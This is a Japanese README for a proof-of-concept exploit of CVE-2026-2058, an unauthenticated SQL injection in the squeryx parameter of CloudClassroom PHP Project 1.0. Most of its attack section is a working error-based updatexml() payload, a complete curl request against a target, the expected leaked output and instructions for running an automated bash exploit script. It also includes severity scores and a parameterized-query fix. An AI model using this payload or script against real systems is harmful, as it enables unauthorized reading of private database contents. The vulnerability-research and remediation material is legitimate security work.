CloudClassroom PHP Project (v1.0) の Post Query機能 に SQLインジェクションの脆弱性 が存在します。
この脆弱性により、攻撃者は squeryx POSTパラメータ を介して任意のSQLコマンドを注入でき、データベースの列挙とデータ抽出 が可能になります。
このリポジトリには、バックエンドデータベースから機密データを抽出するためにこの脆弱性を悪用する方法を示す 概念実証(PoC)エクスプロイト が含まれています。
| フィールド | 値 |
|---|
| CVE | CVE-2026-2058 |
| 脆弱性タイプ | SQLインジェクション |
| CWE | CWE-89 |
| 影響を受けるソフトウェア | CloudClassroom PHP Project |
| 影響を受けるバージョン | 1.0 |
| コンポーネント | Post Query機能 |
| 攻撃ベクトル | リモート |
| 認証の必要性 | 不要 |
| 影響 | データベース情報の漏えい |
| 深刻度 | 高 |
| 攻撃パターン参照 | CAPEC-66 |
POST /postquerypublic
squeryx
バックエンドコードは、適切なサニタイズやパラメータ化クエリを行わずに、ユーザー入力をSQLクエリに直接連結しています。
脆弱なコードの例:
$sql = "INSERT INTO query(Query, Eid) VALUES ('$tempsquery','$tempseid')";
$tempsquery はユーザー入力に由来するため、攻撃者は任意のSQLを注入できます。
テストおよび研究目的のために、脆弱なDocker環境が利用可能です。
docker run -d --name cloudclassroom-lab -p 9292:80 bladscan/cloudclassroom-sqli:1.0
この脆弱性は、MySQLの updatexml() 関数を利用した エラーベースSQLインジェクション 技術でトリガーできます。
ペイロードの例:
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1
curl リクエストの例:
curl -X POST http://TARGET/postquerypublic \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "gnamex=test" \
--data-urlencode "[email protected]" \
--data-urlencode "squeryx=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1" \
--data-urlencode "update=Post Query!"
期待されるレスポンス:
XPATH syntax error: '~cc_db~'
このリポジトリには、以下を自動的に実行するbashエクスプロイトが含まれています:
chmod +x cloudclassroom_sqli_exploit.sh
./cloudclassroom_sqli_exploit.sh http://TARGET/postquerypublic
例:
./cloudclassroom_sqli_exploit.sh http://192.168.1.10/postquerypublic
攻撃者は以下が可能です:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L⚠️ 注: NVDのCVSSスコアは、影響評価の違いによりCNA(VulDB)のスコアと異なります。
エクスプロイト予測スコアリングシステム(EPSS)は、脆弱性が実際に悪用される確率を推定します。
| CVE | EPSS確率 | パーセンタイル | 日付 |
|---|---|---|---|
| CVE-2026-2058 | 0.00028 | 7.62 % | 2026-03-01 |
出典: FIRST EPSSデータセット
開発者は以下を実施すべきです:
安全な実装の例:
$stmt = $conn->prepare("INSERT INTO query(Query, Eid) VALUES (?, ?)");
$stmt->bind_param("ss", $tempsquery, $tempseid);
$stmt->execute();


このエクスプロイトは 教育および研究目的のみ で提供されています。
著者は、このコードの誤用または損害について 責任を負いません。
bl4dsc4n
セキュリティ研究者